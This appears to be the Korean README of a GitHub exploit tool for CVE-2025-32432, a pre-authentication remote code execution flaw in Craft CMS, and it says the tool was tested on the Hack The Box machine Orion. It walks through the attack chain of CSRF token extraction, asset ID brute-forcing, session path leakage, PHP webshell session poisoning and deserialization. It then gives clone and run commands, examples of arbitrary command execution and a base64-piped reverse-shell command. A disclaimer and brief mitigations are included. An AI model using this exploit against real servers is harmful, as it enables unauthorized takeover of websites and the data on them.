Craft CMS 3.x/4.x/5.x에 대한 안정적인 CVE-2025-32432 사전 인증 RCE 익스플로잇으로, 다른 공개 PoC가 실패하는 환경에서도 작동합니다
작성자: P34NUT2
취약점: Craft CMS의 원격 코드 실행 (사전 인증)
CVE: CVE-2025-32432
대상: 모든 취약한 Craft CMS 인스턴스 (3.x / 4.x / 5.x) — Hack The Box: Orion에서 테스트됨
이 도구는 Hack The Box, TryHackMe 또는 본인이 소유하거나 테스트에 대한 명시적 서면 허가를 받은 사설 랩 환경과 같은 통제된 환경 내에서 오직 교육 목적 및 승인된 침투 테스트를 위해 제공됩니다.
본인이 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에 이 도구를 무단으로 사용하는 것은 컴퓨터 사기 및 남용법(CFAA), 정보 시스템 공격에 관한 EU 지침, 그리고 전 세계 대부분의 관할권에서 이에 상응하는 법률에 따라 불법입니다.
작성자는 이 소프트웨어의 사용으로 인해 발생하는 어떠한 오용, 손해 또는 법적 결과에 대해서도 어떠한 책임이나 의무도 지지 않습니다. 책임감 있고 윤리적으로 사용하십시오.
CVE-2025-32432에 대한 대부분의 공개 PoC는 HTB: Orion과 같은 실제 대상에 대해 다음과 같은 이유로 실패합니다:
&, >, <) 처리의 결함이 익스플로잇은 이러한 신뢰성 문제를 해결하기 위해 처음부터 새로 제작되었습니다. URL 인코딩을 적절히 처리하고, 동적 토큰 추출을 자동화하며, Base64 래퍼 파이프라인을 사용하여 모든 취약한 Craft CMS 인스턴스에 대해 신뢰할 수 있는 실행을 달성합니다 — 실제 배포 환경에서 검증되었고 HTB Orion에서 입증되었습니다.
| 단계 | 동작 | 설명 |
|---|---|---|
| 1 | 세션 및 CSRF 획득 | 관리자 엔드포인트에서 CraftSessionId, CRAFT_CSRF_TOKEN, 동적 CSRF_TOKEN을 추출합니다 |
| 2 | 에셋 ID 탐색 | 트랜스폼 생성 페이로드에 필요한 유효한 에셋 ID를 무차별 대입합니다 |
| 3 | 세션 경로 유출 | Guzzle 객체를 주입하여 phpinfo()를 트리거하고 session.save_path를 동적으로 읽습니다 |
| 4 | 세션 포이즈닝 | URL 인코딩된 PHP 웹셸 페이로드를 활성 세션 파일에 주입합니다 |
| 5 | RCE 트리거 | 포이즈닝된 세션을 역직렬화하여 임의의 시스템 명령을 실행합니다 |
git clone https://github.com/P34NUT2/CVE-2025-32432-exploit-by-P34NUT2.git
cd CVE-2025-32432-exploit-by-P34NUT2
pip install -r requirements.txt
| 플래그 | 긴 옵션 | 필수 | 설명 |
|---|---|---|---|
-u | --url | ✅ 예 | 대상 기본 URL (예: http://example.com) |
-c | --cmd | ✅ 예 | 원격 대상에서 실행할 명령 |
-a | --asset | ❌ 아니오 | 알려진 유효한 에셋 ID (실행 속도 향상) |
-s | --scan-max | ❌ 아니오 | 최대 에셋 ID 무차별 대입 범위 (기본값: 300) |
1. 기본 명령 실행
python3 craftcms_rce_exploit_php.py -u http://example.com -c "whoami"
2. 알려진 에셋 ID 사용 (더 빠름)
python3 craftcms_rce_exploit_php.py -u http://example.com -a 1 -c "id"
3. 인코딩된 페이로드 (특수 문자에 권장)
특수 문자가 HTTP 파서에 의해 변경되거나 세션 처리 중 잘리는 것을 방지하려면, 명령을 전달하기 전에 Base64로 인코딩하십시오:
# Step 1 — encode your command locally
echo -n "YOUR_COMMAND_HERE" | base64
# Step 2 — pass the encoded string through the script
python3 craftcms_rce_exploit_php.py -u http://example.com -c "echo <BASE64_STRING> | base64 -d | sh"
4. Base64 래퍼를 통한 리버스 셸
python3 craftcms_rce_exploit_php.py -u http://target.htb -c "echo <B64_PAYLOAD> | base64 -d | bash"
Craft CMS를 운영하는 시스템 관리자나 개발자라면 다음 완화 조치를 적용하십시오:
/actions/*)에 대한 접근을 제한하십시오.이 프로젝트는 교육 및 승인된 테스트 용도로만 라이선스가 부여됩니다. 자세한 내용은 LICENSE를 참조하십시오.